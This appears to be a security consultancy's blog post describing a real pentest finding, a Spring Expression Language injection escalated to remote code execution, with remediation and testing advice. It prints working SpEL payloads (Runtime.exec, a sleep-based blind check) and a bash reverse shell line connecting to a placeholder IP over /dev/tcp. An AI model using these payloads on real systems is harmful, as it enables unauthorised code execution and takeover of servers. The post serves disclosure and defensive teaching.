Identifying and Preventing Remote Code Execution (RCE) with Spring Expression Language (SpEL)

In a recent customer project, we identified a critical Spring Expression Language (SpEL) injection vulnerability leading to Remote Code Execution (RCE). In this case, the vulnerability could not be exploited directly but had to be confirmed and exploited using blind or Out-of-Band (OOB) techniques.

In this blog post we demonstrate how to discover and verify (SpEL) injection vulnerabilities if the server doesn’t return command output but only error messages. We go from a simple error message to confirming the RCE-level vulnerability and conclude with practical advice on how to test for and fix the vulnerability.

If you’re already familiar with SpEl, you can jump forward to the exploit section: Exploit – From Error Message to Remote Code Execution.

Overview – Expression Languages

The following chapters provide a brief introduction to Expression Language (EL) and Spring EL (SpEL). We highlight some differences between classic EL and Spring EL, emphasizing that multiple types of EL exist—each with distinct features and capabilities. As a result, exploiting the different variations requires tailored payloads that account for their specific syntax, behavior and capabilities.

Expression Language (EL)

EL allows developers to use expressions to dynamically access and manipulate application data. These expressions are evaluated at runtime, enabling the interaction between the presentation layer (such as web pages) and the application logic (like managed beans).

With EL developers can for example:

  • Dynamically read application data from JavaBeans, collections, maps, etc.

  • Write data—such as form input—back into JavaBeans.

  • Invoke public and static methods.

  • Perform arithmetic, boolean, and string operations.

Different Expression Languages can be used across various Java-based technologies, for example Jakarta Faces (JSF), Jakarta Server Pages (JSP), Apache Struts or Wildfly. It is also supported in frameworks such as Spring or template engines such as Apache FreeMarker or Thymeleaf.

Besides the specifics of the respective EL, the behavior of the EL used may additionally vary depending on the version in use. Different EL versions may enable or restrict certain features and characteristics. Understanding these differences is important from both a defending and attacking standpoint.

Expression Language (EL) Injection

Like any other injection vulnerabilities (e.g., SQL or command injection), Expression Language Injections occur when untrusted input is improperly handled and passed into an (EL) interpreter. Also, as with any other injection vulnerability EL injection results from inadequate separation between code and data, allowing attackers to manipulate EL expressions at runtime.

Potential risks may include

  • access to sensitive data (e.g. read environment variables)

  • modification and invocation of functionality on the application server

  • unauthorized access to data and functionality

  • Remote Code Execution (RCE)

However, Remote Code Execution is only possible for certain ELs in specific versions. For example, Expression Language in a version prior to 2.2 only allowed broad access to implicit objects like sessionScope, applicationScope, and various model or bean objects. But with version 2.2, support for method invocation within EL expressions was introduced. Vulnerable endpoints could now potentially be used to execute arbitrary code within the context of the application.

Small EL injection vulnerability PoC

The following (vulnerable) code snippet can be used to fetch data from the URL and display it in the web page. The user parameter is directly passed into an EL expression via ${userInput}. If an attacker supplies EL syntax such as ${7*7} or ${request.getHeader("host")}, it will be evaluated by the EL processor.

Spring Expression Language (SpEL)

Spring Expression Language (SpEL) uses syntax very similar to Java EE’s Unified Expression Language. However, SpEL provides additional features like method invocation, property access, bean references, and string templating.

Although a similar syntax is used, the same symbols do not always have the same meaning. For example, in Java EE, ${expr} denotes immediate evaluation, meaning the expression is evaluated at the time it is encountered. Conversely, #{expr} signifies deferred evaluation, allowing the expression to be resolved at a later stage, typically during runtime. However, in Spring, the ${...} syntax is used for property placeholders (e.g., from application.properties, environment variables). In contrast, #{...} invokes SpEL, allowing to evaluate expressions, call methods, reference beans, etc. and thus providing more powerful functionality.

Spring Expression Language (SpEL) Injection

The concept of SpEL injection is the same as with normal EL injection: untrusted input gets evaluated as code. But with SpEL, the attack surface is wider due to the already mentioned broader feature set.

Due to the different syntax, SpEL injection vulnerabilities may be exploited using different payloads. E. g. code execution may additionally be achieved in SpEL using T(java.lang.Runtime).getRuntime().exec(“…”) compared to {"".getClass().forName("java.lang.Runtime").getRuntime().exec(“…”)} in EL.

Compounding this risk, older versions of Spring (prior to 3.0.6) had a known issue where certain Spring JSP tags double-resolved EL. This means both ${...} and #{...} expressions could be interpreted twice, creating an opening for SpEL injection — and this behavior couldn’t be disabled in those versions.

Small SpEL injection vulnerability PoC

The following (vulnerable) Spring code snippet can be used to fetch data from the URL and display it in the web page.  The user parameter is directly passed into an EL expression via the parameter input. If an attacker supplies the shown payload, it will be evaluated by the EL processor, and the calculator will be spawned on the machine.

GET /spel?input=T(java.lang.Runtime).getRuntime().exec('calc')

Exploit – From Error Message to Remote Code Execution

Discovery

We began by trying to examine each view of the web application to identify all features provided and to identify all requests from the front- to the backend. Deep within the application, we found a feature allowing us to create and alter charts that could be displayed within the application. The view contained a field labeled Series data generator, containing the unusual placeholder @anyChartComponent.createSeries(#root) which animated us to investigate the parameter in more detail.  We started by replacing the placeholder with a simple test string. This triggered a SpelEvaluationException, as can be seen in the screenshot, indicating a potential SpEL injection vulnerability.

After confirming the abnormal behavior to be potentially security related, our next step was to determine whether the vulnerability was actually exploitable.

Note: The payload didn’t immediately trigger an error during chart creation, but only when the chart was retrieved later in a second request. The screenshot provided shows only the response from this second request. This should be sufficient to demonstrate the exploit path while also protecting customer information. For the same reason, only partial request and response data are shown, with sensitive parts redacted.

Usual Proof of a SpEL Injection Vulnerability

Following practices in identifying EL or SpEL injection vulnerabilities, as observed in other resources, we used a typical payload that attempts to retrieve the 7th method (index 6) from java.lang.Runtime via reflection. Gaining access to the Runtime class would also suggest a high likelihood of being able to achieve remote code execution.

However, the server returned an error indicating that there is "more data in the expression" instead of the expected method. While this is a setback, the error also confirms that the passed expression in itself was valid and parsed successfully, which is again promising. Still, the application does not allow us to directly verify command execution through visible output and so we must rely on the following alternative techniques.

''.getClass().forName('java.lang.Runtime').getMethods()[6]

Proof of Execution of Java Functions via Blind Technique

If direct command output isn't available, a common method to confirm injection vulnerabilities is a blind approach—inferring success through indirect indicators like response timing. We used the Thread.sleep function to trigger a 10 second delay. The server's 10 seconds delayed response confirmed that user specified Java functions can indeed be executed.

While arbitrary command execution via Java alone may be possible, it would likely be very cumbersome. Therefore, the next step is to attempt and confirm direct command execution via another technique.

T(java.lang.Thread).sleep(10000)

Proof of Command Execution (RCE) via Out-of-Band (OOB) Techniques

To achieve and verify remote code execution (RCE), we used an Out-of-Band (OOB) technique. This involves triggering the vulnerability in a way that forces the target system to interact with an external server (e.g., via DNS or HTTP), allowing us to observe the results independently of the application’s direct response. In this case, we attempted to trigger a cURL request to one of our own servers.

We chose cURL based on information from another vulnerability that revealed details about the system’s environment, suggesting that cURL was likely installed. The following is the version string extracted via the other vulnerability.

PostgreSQL … on aarch64-unknown-linux-gnu, compiled by gcc (GCC) … (Red Hat …), 64-bit

Trying other binaries initiating a connection to another server like ping, wget, or dig would also have been an option. As a side note, using ping for OOB verification would not have worked. The service was hardened with the noNewPrivileges attribute, which prevents executed binaries from gaining elevated privileges. Since ping requires such privileges (even if tightly scoped), it could not be executed through the RCE vector.

Although the server returned an error (unlike the successful sleep-based payload bevor), we still received the cURL request on our server—confirming successful RCE.

With RCE confirmed, the next step was to replace the cURL call with a reverse shell payload. Once triggered by fetching the manipulated chart, the reverse shell successfully connected back to our server, giving us control over the host.

T(java.lang.Runtime).getRuntime().exec(\"bash -c $@|bash 0 echo bash -i >& /dev/tcp/<ip>/8443 0>&1\")

Remediation

Mitigating SpEL injection requires more than just filtering, escaping or encoding special characters like $, #, {, or } — as can be seen in payloads above.

Avoid passing user input into SpEL expressions. It is the simplest and most effective safeguard. Think about whether there isn’t a better or different way to achieve the same functionality without passing user input into EL.

If user input must be passed into a SpEL expression,

  • validate user input thoroughly before incorporating it into expressions. Ideally, a whitelist of specific accepted values should be used. E.g., only short alphanumeric strings should be accepted. Input containing any other characters should be rejected.

  • do not evaluate the expression in a full EL context (for an example in Spring see below).

  • add hardening and defense in depth measures like hardening the host, sandboxing etc.

In the example of Spring, limiting the execution context would mean using the limited evaluation context SimpleEvaluationContext which restricts access to arbitrary methods and bean references.

Pentester Info: How to Test for SpEL

Testing for SpEL injection follows the same principles as any other injection vulnerability:

First identify the underlying technology and framework. Look for signs of EL-capable platforms such as Spring, JSP, JSF, Wildfly, Apache Struts, etc. Next find suitable user input which is, as with any other injection vulnerability, basically any user controllable input within the application. Don’t forget to adapt your payloads based on the syntax and context which you identified in the first step. Also don’t forget to pay attention to version specifics.

Finally look out for error messages or unusual behavior, like

  • stack traces referencing SpelEvaluationException

  • expression results rendered in responses

and start exploting.

Summary

(Spring) Expression Language Injection occurs when there's a failure to properly separate code from data, allowing untrusted input to reach an EL interpreter.

It may affect various Java based technologies:

  • Java-based web frameworks: Spring, JSP, JSF, Apache Struts2

  • Java template engines: Apache FreeMarker, Thymeleaf, etc.

You can discover it the same way as any other injection vulnerability: test any user-controlled inputs, observe behavior, and look for signs of expression parsing or execution.

As a general recommendation, avoid passing user input into EL interpreters in general. If it is absolutely necessary, validate input strictly and use limited evaluation contexts (e.g. SimpleEvaluationContext in Spring).

Resources

Author: Hendrik Eichner, mgm security partners

 

Weitere Informationen

Security Testing

Sie haben Fragen, oder wollen sich unverbindlich beraten lassen?

Nehmen Sie Kontakt per E-Mail auf, rufen Sie uns an oder nutzen Sie unser Kontaktformular.

Ihr Ansprechpartner

Thomas Schönrich

DOWNLOAD

Die große Application Security Pentest FAQ für Auftraggeber